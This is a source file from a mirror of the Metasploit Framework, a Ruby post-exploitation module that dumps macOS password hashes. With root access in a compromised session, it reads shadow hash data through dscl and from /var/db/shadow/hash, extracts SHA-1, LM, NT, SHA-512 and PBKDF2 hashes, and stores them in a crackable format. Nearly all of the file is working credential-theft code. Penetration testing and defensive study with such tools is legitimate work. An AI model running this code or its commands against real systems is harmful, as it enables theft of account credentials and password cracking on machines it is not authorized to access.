modules/post/osx/gather/hashdump.rb - master - githubmirror/metasploit-framework

modules/post/osx/gather/hashdump.rb
239 строк8 KB
Christophe De La Fuente
Add T1003 "OS credential dumping" MITRE technique
09 сен 2025, 11:45
09 сен 2025, 11:457ce2bdc
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  # set of accounts to ignore while pilfering data
  # OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Mac OS X Password Hash Collector',
        'Description' => %q{
          This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
          versions 10.3 to 10.14.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'hammackj <jacob.hammack[at]hammackj.com>',
          'joev'
        ],
        'Platform' => [ 'osx' ],
        'SessionTypes' => %w[shell meterpreter],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        },
        'References' => [
          [ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]
        ]
      )
    )
    register_options([
      OptRegexp.new('MATCHUSER', [
        false,
        'Only attempt to grab hashes for users whose name matches this regex'
      ])
    ])
  end

  def run
    unless is_root?
      fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
    end

    # iterate over all users
    get_nonsystem_accounts.each do |user_info|
      user = user_info['name']
      next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)

      print_status "Attempting to grab shadow for user #{user}..."
      if gt_lion? # 10.8+
        # pull the shadow from dscl
        shadow_bytes = grab_shadow_blob(user)
        next if shadow_bytes.blank?

        # on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
        # Here we pull out the binary plist bytes and use built-in plutil to convert to xml
        plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join

        # encode the bytes as \x hex string, print using bash's echo, and pass to plutil
        shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")

        # read the plaintext xml
        shadow_xml = REXML::Document.new(shadow_plist)

        # parse out the different parts of sha512pbkdf2
        dict = shadow_xml.elements[1].elements[1].elements[2]
        entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
        iterations = dict.elements[4].text.gsub(/\s+/, '')
        salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')

        # PBKDF2 stored in <iterations, salt, entropy> format
        decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
        report_hash('SHA-512 PBKDF2', decoded_hash, user)
      elsif lion? # 10.7
        # pull the shadow from dscl
        shadow_bytes = grab_shadow_blob(user)
        next if shadow_bytes.blank?

        # on 10.7 the ShadowHashData is stored in plaintext
        hash_decoded = shadow_bytes.downcase

        # Check if NT HASH is present
        if hash_decoded =~ /4f1010/
          report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
        end

        # slice out the sha512 hash + salt
        # original regex left for historical purposes.  During testing it was discovered that
        # 4f110200 was also a valid end.  Instead of looking for the end, since its a hash (known
        # length) we can just set the length
        # sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
        sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
        report_hash('SHA-512', sha512, user)
      else # 10.6 and below
        # On 10.6 and below, SHA-1 is used for encryption
        guid = if gte_leopard?
                 cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
               elsif lte_tiger?
                 cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
               end

        # Extract the hashes
        sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
        nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
        lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp

        # Check that we have the hashes and save them
        if sha1_hash !~ /0000000000000000000000000/
          report_hash('SHA-1', sha1_hash, user)
        end
        if nt_hash !~ /000000000000000/
          report_hash('NT', nt_hash, user)
        end
        if lm_hash !~ /0000000000000/
          report_hash('LM', lm_hash, user)
        end
      end
    end
  end

  private

  # @return [Bool] system version is at least 10.5
  def gte_leopard?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
  end

  # @return [Bool] system version is at least 10.8
  def gt_lion?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
  end

  # @return [String] hostname
  def host
    session.session_host
  end

  # @return [Bool] system version is 10.7
  def lion?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
  end

  # @return [Bool] system version is 10.4 or lower
  def lte_tiger?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
  end

  # parse the dslocal plist in lion
  def read_ds_xml_plist(plist_content)
    doc = REXML::Document.new(plist_content)
    keys = []
    doc.elements.each('plist/dict/key') { |n| keys << n.text }

    fields = {}
    i = 0
    doc.elements.each('plist/dict/array') do |element|
      data = []
      fields[keys[i]] = data
      element.each_element('*') do |thing|
        data_set = thing.text
        if data_set
          data << data_set.gsub("\n\t\t", '')
        else
          data << data_set
        end
      end
      i += 1
    end
    return fields
  end

  # reports the hash info to metasploit backend
  def report_hash(type, hash, user)
    return unless hash.present?

    print_good("#{type}:#{user}:#{hash}")
    case type
    when 'NT'
      private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
      private_type = :ntlm_hash
      jtr_format = 'ntlm'
    when 'LM'
      private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
      private_type = :ntlm_hash
      jtr_format = 'lm'
    when 'SHA-512 PBKDF2'
      private_data = hash
      private_type = :nonreplayable_hash
      jtr_format = 'PBKDF2-HMAC-SHA512'
    when 'SHA-512'
      private_data = hash
      private_type = :nonreplayable_hash
      jtr_format = 'xsha512'
    when 'SHA-1'
      private_data = hash
      private_type = :nonreplayable_hash
      jtr_format = 'xsha'
    end
    create_credential(
      jtr_format: jtr_format,
      workspace_id: myworkspace_id,
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      username: user,
      private_data: private_data,
      private_type: private_type
    )
    print_status('Credential saved in database.')
  end

  # @return [String] containing blob for ShadowHashData in user's plist
  # @return [nil] if shadow is invalid
  def grab_shadow_blob(user)
    shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
    return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'

    # strip the other bytes
    shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
  end

  # @return [String] version string (e.g. 10.8.5)
  def ver_num
    @ver_num ||= get_sysinfo['ProductVersion']
  end
end